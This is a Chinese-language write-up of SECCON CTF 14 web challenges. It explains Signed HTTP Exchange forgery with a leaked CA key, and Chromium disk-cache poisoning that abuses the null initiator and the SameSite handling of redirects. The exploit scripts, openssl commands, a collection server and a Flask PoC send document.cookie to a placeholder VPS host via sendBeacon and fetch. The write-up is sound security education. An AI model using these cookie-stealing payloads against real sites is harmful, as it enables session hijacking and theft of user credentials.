CTF SECCON SECCON-CTF-14-Quals 不是炒米线 2025-12-14 2025-12-16 本来不想写了,因为只跟着做了三题,而且都是跟着各位师傅做最后复现了一下。全是我布吉岛的知识,那既然打了那还是写一下吧:D
四道Web题,全是XSS 。呃呃呃啊啊。而且都用到了很新的技术,每一题都值得单独写一篇文章。再说吧。
broken-challenge 考点:CA证书泄漏,HTTP/2 SXG + XSS,绕过CORS窃取Cookie
简单看一下题目,给了完整源码和一个入口http://broken-challenge.seccon.games:1337/,访问/hint可以在source里获取根证书的私钥,题目附件里拿到公钥。
打开网页是一个bot,可以填入url,点击REPORT 会让bot打开一个puppeteer 的chromium ,访问指定的url。并且有以下设置:
1 2 3 4 5 6 await context.setCookie ({ name : "FLAG" , value : flag.value , domain : "hack.the.planet.seccon" , path : "/" , });
好了思路很清晰,源码里没有更多有价值的信息,直接开始分析。首先这个Cookie 设置了这个指定的domain ,意味着只有这个domain才能访问到这个Cookie。显然,我们需要绕过这个CORS获取到它。不过呢,我们显然无法把这个域名绑定到我们自己的VPS上 。这里需要用到一项来自HTTP/2 的技术Signed HTTP Exchanges(简称 SXG )。
什么是SXG 比起讲“是什么”,我更倾向于讲它可以干什么。一句话来讲,SXG可以让内容可以被可信地转发,而不失去原始网站的身份 。
举个例子,去银行办事情,需要证件齐全,这能够证明你就是你。不过这次,你是代理公司办事情,证明你是你并没有意义,你需要做的是证明你携带的材料 确实是这个公司的,并且没有被篡改,是真实有效的。
其实可以把SXG简单地理解为有证书验证的缓存。它本质上是一个被签名的 HTTP 响应包 。有了它,浏览器就可以放心的认可这些资源的来源。它实际上是缓存与CDN的结合,有了缓存灵活、离线可用的优势,又有了CDN便于分发的特点。但最根本的目的是,让HTTP请求无需关心是谁发送的,而是关心是谁产生的。它把信任链从连接层搬到了内容层。
SXG由哪些东西组成? 目标 URL(request side) :这是一个明确写死的url,例如:https://example.com/index.html,包括 scheme、host、path 。
HTTP 响应(response side) :字面意思,平时的HTTP怎么响应这里就是什么。(请求头一般不在SXG里,这里只包含只有响应)。
有效期(integrity window) :包含validityUrl、date、expires 。很显然,SXG不能永久有效,否则会被无限转发。其有效期通常是几分钟到几天。
签名(signature) :可以理解,就用网站的私钥签名。与TLS就没啥区别。
证书引用(cert-url) :SXG本身并不包含完整证书链,而是包含一个cert-url,指向一个.cbor文件。解析SXG时,浏览器会去请求这个证书包来验证签名 。
如何生成SXG? 这也是本题的考点。当然也是非常标准的SXG生成流程。这里会用题目条件进行完整的手动演示。现在我手里只有一对CA证书的公钥和私钥 。开始吧。
获取CA证书 有CA证书是本题的关键,也可以说是一种提示吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 cat > ca.key <<EOF -----BEGIN EC PRIVATE KEY----- MHcCAQEEIDXSM3v5wDSRra/TS/InNmXoVWqm4W/HsWyJ5qzqk0lUoAoGCCqGSM49 AwEHoUQDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5 wGUkCtk/c9u1e64FKrqqHva6JMAJFafgOw== -----END EC PRIVATE KEY----- EOF cat > ca.crt <<EOF -----BEGIN CERTIFICATE----- MIIBizCCATCgAwIBAgIUbjrJ6hhsPbR+q3b8T6k3HkFyOEwwCgYIKoZIzj0EAwIw ETEPMA0GA1UEAwwGc2VjY29uMB4XDTI1MTEzMDA5MTk1NloXDTM1MTEyODA5MTk1 NlowETEPMA0GA1UEAwwGc2VjY29uMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE lm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5wGUkCtk/c9u1 e64FKrqqHva6JMAJFafgO6NmMGQwHQYDVR0OBBYEFDodm68MB38A8T2XQBNFvbqd m0UNMB8GA1UdIwQYMBaAFDodm68MB38A8T2XQBNFvbqdm0UNMBIGA1UdEwEB/wQI MAYBAf8CAQAwDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMCA0kAMEYCIQCDgCwj OhKsCL0k3BQMLjpmIRLolYE9hIB9UQB7lEMlJAIhAM3Rujzc1PfYeejf/cZE+KFB UbPgcyNGemJdufTNUF1z -----END CERTIFICATE----- EOF
生成证书 接着写一个openssl的配置文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 cat > sxg.ext <<EOF [req] distinguished_name = req_distinguished_name req_extensions = v3_req [req_distinguished_name] CN = hack.the.planet.seccon [v3_req] basicConstraints = CA:FALSE keyUsage = digitalSignature, nonRepudiation, keyEncipherment extendedKeyUsage = serverAuth subjectAltName = @alt_names 1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL [alt_names] DNS.1 = hack.the.planet.seccon IP.1 = 120.26.146.96 EOF
很复杂,我们拆开来看。(不要复制下面这个,注释会报错)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 [req] distinguished_name = req_distinguished_name # 规定证书的“名字字段”,默认设置 req_extensions = v3_req # SXG 要求扩展必须在证书里 [req_distinguished_name] CN = hack.the.planet.seccon # 证书的Common Name [v3_req] basicConstraints = CA:FALSE # 声明不是CA证书,否则浏览器会直接拒绝 keyUsage = digitalSignature, nonRepudiation, keyEncipherment # 默认模版,照抄 extendedKeyUsage = serverAuth # SXG只接受 serverAuth,不允许clientAuth、codeSigning subjectAltName = @alt_names # 在下面定义 1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL # SXG的专用OID,浏览器依靠这个判断它是合法的SXG证书 [alt_names] DNS.1 = hack.the.planet.seccon # 定义了这个SXG对应的URL,这里我们就是希望伪造成这个URL IP.1 = 120.26.146.96 # 正常来说这里不该写IP,但我需要https投递sxg,复用一下吧
接下来一长串命令都是为了生成cbor格式的证书:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 openssl ecparam -name prime256v1 -genkey -out server.key openssl req -new -key server.key -out server.csr -subj "/CN=hack.the.planet.seccon" -config sxg.ext openssl x509 -req -days 90 -in server.csr -CA ca.crt -CAkey ca.key -set_serial 0x1000 -out server.crt -extensions v3_req -extfile sxg.ext -sha256 echo -e "V\t301231235959Z\t\t1000\tunknown\t/CN=hack.the.planet.seccon" > index.txtopenssl ocsp -issuer ca.crt -cert server.crt -reqout server.req openssl ocsp -index index.txt -rsigner ca.crt -rkey ca.key -CA ca.crt -reqin server.req -respout server.ocsp -ndays 365 cat server.crt ca.crt > chain.pemgen-certurl -pem chain.pem -ocsp server.ocsp > cert.cbor
合成SXG包 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 cat > payload.html <<EOF <!DOCTYPE html> <html> <body> <h1>SXG Attack</h1> <script> // 这段代码会在 hack.the.planet.seccon 的域下执行 // 记得修改flag接收地址 navigator.sendBeacon("https://VPS:PORT/log?cookie=" + encodeURIComponent(document.cookie)); </script> </body> </html> EOF gen-signedexchange \ -uri https://hack.the.planet.seccon/ \ -content payload.html \ -certificate server.crt \ -privateKey server.key \ -certUrl https://VPS:PORT/cert.cbor \ -validityUrl https://hack.the.planet.seccon/resource.validity.1700000000 \ -o exploit.sxg
投放SXG server.cjs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 const http2 = require ('http2' );const fs = require ('fs' );const url = require ('url' );const options = { key : fs.readFileSync ('server.key' ), cert : fs.readFileSync ('server.crt' ), allowHTTP1 : true }; const server = http2.createSecureServer (options, (req, res ) => { const path = req.url .split ('?' )[0 ]; console .log (`[Request] ${req.method} ${req.url} ` ); res.setHeader ('Access-Control-Allow-Origin' , '*' ); if (path === '/exploit.sxg' ) { res.setHeader ('Content-Type' , 'application/signed-exchange;v=b3' ); res.setHeader ('X-Content-Type-Options' , 'nosniff' ); res.end (fs.readFileSync ('exploit.sxg' )); } else if (path === '/cert.cbor' ) { res.setHeader ('Content-Type' , 'application/cert-chain+cbor' ); res.end (fs.readFileSync ('cert.cbor' )); } else if (path === '/log' ) { const query = url.parse (req.url , true ).query ; console .log ('\n=============================' ); console .log ('🔥 FLAG CAPTURED: ' + query.cookie ); console .log ('=============================\n' ); res.end ('ok' ); } else { res.statusCode = 404 ; res.end ('Not Found' ); } }); server.listen (8443 , '0.0.0.0' , () => { console .log ('[*] Server listening on https://VPS:PORT' ); });
去靶机Admin Bot那里填入https://VPS:PORT/exploit.sxg,点击REPORT ,终端日志里会有flag 。
非常好PDF
framed-xss 考点:磁盘缓存投毒 + initiator绕过 + redirect特性 + XSS
题目介绍 1 2 3 4 The sandbox makes everything secure. Challenge: http://framed-xss.seccon.games:3000 Admin bot: http://framed-xss.seccon.games:1337
容器内网域名是web,flag存在web域名的Cookie里 。
访问Challenge 网页,有一个输入框,输入html内容后,点击Render ,刚刚的网页会渲染在下方的iframe 中,同时url变为http://web:3000/?html=<PAYLOAD>。不过render的内容是从http://web:3000/view?html=<PAYLOAD>获取的,这个路由会一模一样地返回<PAYLOAD>,不过/view需要一个特殊的请求头"From-Fetch": "1"(由html添加)。直接访问/view会提示Use fetch(400 BAD REQUEST)。
1 2 3 4 5 @app.get("/view" ) def view (): if not request.headers.get("From-Fetch" , "" ): return "Use fetch" , 400 return request.args.get("html" , "" )
访问Admin bot可以向bot发送一个url,bot会开一个无头chromium 访问。所以正常想访问到/view,必须通过challenge页面。不过,考虑到磁盘缓存投毒 ,一切都不一样了。
在开始之前,先铺一些基础知识。
什么是SameSite 什么是顶级导航(top-level navigation) 在浏览器里,顶级被认为是URL框输入的地址。因此,只有让URL发生改变,才算做是顶级导航 。
典型的顶级导航有以下几种 :
在页面里点一个普通 <a href="https://example.com"> window.location = "https://example.com"表单 <form action="..."> 提交 window.open() 打开新 tab(新 tab 的那次加载本身是顶级的)用户在地址栏手敲 URL 回车 典型的非顶级导航 :
iframe 自己跳转:<iframe src=...> iframe 里 iframe.contentWindow.location = ... fetch / xhr / img / script 加载资源什么是显式导航(explicit navigation) 由用户行为或页面脚本明确触发的导航。
这里只给出一个反例:重定向(redirect)不是显式导航 。因为它被视作一次导航的中间过程
RFC6265bis? 做题时有注意到这样一个issue,它指出当时对SameSite 的定义存在分歧。虽然这不是本题的重点,但有助于深入理解本题的原理。
简单来说,当时并没有一个明确的规范定义重定向是否算为SameSite 。随着RFC6265bis 的落地,这个问题最终达成了共识。
参考这个issue ,先定义一下符号,规定
=>:一次显式导航(用户或脚本触发的顶级导航)
->:HTTP 重定向
A:第一方站点,设置了 SameSite=Strict/Lax 的 cookie
这个issue提到,普遍的认识和浏览器实现存在语意上的偏差
在Safari/FireFox 看来,SameSite的核心判断标准是:这个cookie是否是在一次“跨站发起的导航”中被携带的 。有点抽象,看下面这两个例子:
A => B => A:(两次独立导航)第二次回到A,是一个跨站发起的顶级导航,按照这个规范,=> A:只发 Lax,不发 Strict
A => B -> A:(中间是 redirect)按照规范,这应该等价于上面那种情况,-> A: 也应该 只发 Lax,不发 Strict
但RFC6265bis 规范落地之前的Chromium 在:
A => B -> A的时候,-> A: Strict 和 Lax 都会被发送
也就是说,Redirect 没有被当作一次新的跨站发起,Chromium 将整个过程视作同一导航的延续。这意味着,只要B站点可控,那么再做一次重定向,同样会向A站点发送Strict Cookie 。
这个争议随着RFC6265bis 的出台最终结束。结果是,Chromium开始遵循更严格的跨站规则。
Chromium缓存机制 为了避免不必要的网络连接,加速网页加载。浏览器通常会使用缓存。回到题目中来,很显然,iframe内是无法执行xss脚本的。我们需要一个xss的注入点。
如果我们能够通过前一个网页去fetch/view?html=<PAYLOAD>,如果这个URL被写入了磁盘缓存,当下一次直接访问/view?html=<PAYLOAD>时,浏览器或许不会检查header,而是直接返回<PAYLOAD>,那么作为一次顶级导航,其中的script可以被执行。
不过想要Chromium 使用缓存,不仅要URL一致,更重要的是,需要让浏览器判断此次访问为SameSite 。SameSite 的判定,是多种数据的综合结果。
我们不难想到,让bot请求我的http://VPS:PORT/exploit.html,在这个顶级的请求里,先用/去fetch,把payload存入缓存 ,再访问/view,跳过Header检查 ,执行XSS,窃取Cookie。不过,怎么样才会让浏览器认定两次请求是SameSite 呢?
在最近的Chromium 中,缓存键新增了一项:initiator ,也就是此次连接的发起者。
这意味着,浏览器会记录每一个请求由谁发起。显然,我们的设想里,第一次由http://web:3000/发起,后一次由http://VPS:PORT/exploit.html发起。浏览器不会认可SameSite,自然也不会使用磁盘缓存 。
举个例子,我们直接在:3000/的console执行这段js :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 let BASE_URL = "http://framed-xss.seccon.games:3000" ;let payload = "<svg/onload=alert(%27gg%27)>" ;function exploit ( ){ win = window .open (`${BASE_URL} /view?html=${payload} ` ); setTimeout (() => { win.location = `${BASE_URL} /?html=${payload} ` ; setTimeout (() => { setTimeout (() => { win.history .go (-1 ); }, 100 ); }, 150 ); }, 350 ); } exploit ();
这个脚本会在顶级窗口 打开/view?html=<PAYLOAD>,这里会Use fetch(400 BAD REQUEST)
然后让这个窗口跳转到/?html=<PAYLOAD>,/view => /是同窗口、同站点、显式顶级导航 。这一步会请求有fetch请求头的/view?html=<PAYLOAD>,返回<PAYLOAD>,这个响应会被缓存 。
当前历史栈如下:
1 2 0: /view?html=<PAYLOAD> 1: /?html=<PAYLOAD> ← 当前
注意刚刚带fetch的/view?html=<PAYLOAD>并不在历史栈里啊。这时候history.go(-1)回到/view?html=<PAYLOAD>,应用之前的缓存,浏览器不再请求服务器,因此也没有了fetch请求头的验证。这里直接返回了<PAYLOAD>,而且是在顶级窗口,XSS成功触发,并且执行的域刚好是framed-xss.seccon.games(本地演示,对应靶机内的web ),可以拿到Cookie。
可以看到,成功弹窗 。注意URL,这个地址如果刷新一下,就又会显示Use fetch(400 BAD REQUEST)
这时候我们换一个网页执行这段js,比如本地部署的靶机,环境一模一样,除了执行js的URL是localhost 。
失败了,根本没弹窗。确实是磁盘缓存,只不过这个磁盘缓存,缓存的是跳转之后的响应,即Use fetch(400 BAD REQUEST)。分析一下原因,因为此时的initiator为localhost,而/?html=<PAYLOAD>发送的带fetch头的请求的initiator是http://framed-xss.seccon.games:3000。显然这initiator都不一样,浏览器肯定不会判定你这是SameSite ,响应为<PAYLOAD>的缓存自然不会使用。
这也是为什么把这段js改写成html,放在vps上,让bot访问http://VPS:PORT/exploit.html,却无法成功XSS的原因。
那有没有办法绕过这个initiator的限制呢?有的兄弟有的,当无头浏览器page.goto()时,initiator会被设置为null
我们来看Chromium源码 :
1 2 3 4 5 6 7 8 if (initiator.has_value () && is_mainframe_navigation) { const bool is_initiator_cross_site = !net::SchemefulSite::IsSameSite (*initiator, url::Origin::Create (url)); if (is_initiator_cross_site) { is_cross_site_main_frame_navigation_prefix = kCrossSiteMainFrameNavigationPrefix; } }
当initiator为null时,Chromium就不会设置cross-site bit 。这意味着,缓存将会被使用。
我们来看题目的bot源码:
1 2 3 4 const page = await context.newPage ();await page.goto (url, { timeout : 3_000 });await sleep (5_000 );await page.close ();
题目使用的是puppeteer来控制无头浏览器。这里的page.goto()相当于我们手动输入URl并按下回车。这里有详细的介绍 。我们的PoC可以在这个基础上修改。
总结来说:当无头浏览器page.goto(url)时,initiator是null,这会被Chroimum 认为是SameSite ,再来看一段源码 :
1 2 3 4 5 6 bool same_site_initiator = !initiator || SiteForCookies::FromOrigin (initiator.value ()) .IsFirstPartyWithSchemefulMode (request_url, compute_schemefully);
而只要通过了这个SameSite 检测,那么中间无论 发生多少重定向,无论 跨域/不跨域,都不会阻止SameSite=Strict的Cookie发送 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (same_site_initiator) {if (same_site_redirect_chain) { result.context_type = ContextType::SAME_SITE_STRICT; return result; } cross_site_redirect_downgraded_from_strict = true ; use_strict = !base::FeatureList::IsEnabled ( features::kCookieSameSiteConsidersRedirectChain); }
很有趣的一点是,检查中间的重定向是否SameSite 其实有实现,但作为特性默认关闭 :
1 2 BASE_FEATURE (kCookieSameSiteConsidersRedirectChain, base::FEATURE_DISABLED_BY_DEFAULT);
呃其实有相关issue讨论这个问题 ,但无论如何这个特性到目前的最新版(143.0.7499.110)仍然默认禁用 。
对于这道题目来说,我们可以让bot访问我们的网页,然后CSRF先打开一个新窗口 ,访问VPS的/redir路由,这个路由会发送307重定向 到/?html=<PAYLOAD>,这会发送一个带有fetch头的/view?html=<PAYLOAD>请求,返回为<PAYLOAD>,写入缓存。此时的initiator为web,不过没关系。
接着history.back()回来,这时候会第二次请求我们的VPS的/,这VPS返回一个307重定向到/view?html=<PAYLOAD>,因为是返回历史,initiator是null,被认为是SameSite ,直接加载缓存,在定居窗口执行了XSS(这一块暂且存疑)。
这里直接给出可用的PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from flask import *app = Flask("exp" ) REMOTE = "http://web:3000" PAYLOAD = "<svg/onload=fetch(`//VPS:8012/?flag=${encodeURIComponent(document.cookie)}`)>" @app.after_request def add_headers (response ): response.headers["Cache-Control" ] = "no-store, no-cache" return response count = 0 @app.get("/" ) def index (): global count count += 1 if count == 1 : return """ <script> const sleep = (ms) => new Promise(r => setTimeout(r, ms)); async function exploit() { win = window.open("/redir") await sleep(2000); location = URL.createObjectURL(new Blob([` <script>setTimeout(()=>history.back(),500)<\/script> `], { type: "text/html" })) } exploit(); </script> """ if count == 2 : return redirect(f"{REMOTE} /view?html={PAYLOAD} " , 307 ) count = 0 return "wtf" @app.get("/redir" ) def redir (): return redirect(f"{REMOTE} /?html={PAYLOAD} " , 307 ) app.run("0.0.0.0" , 8012 )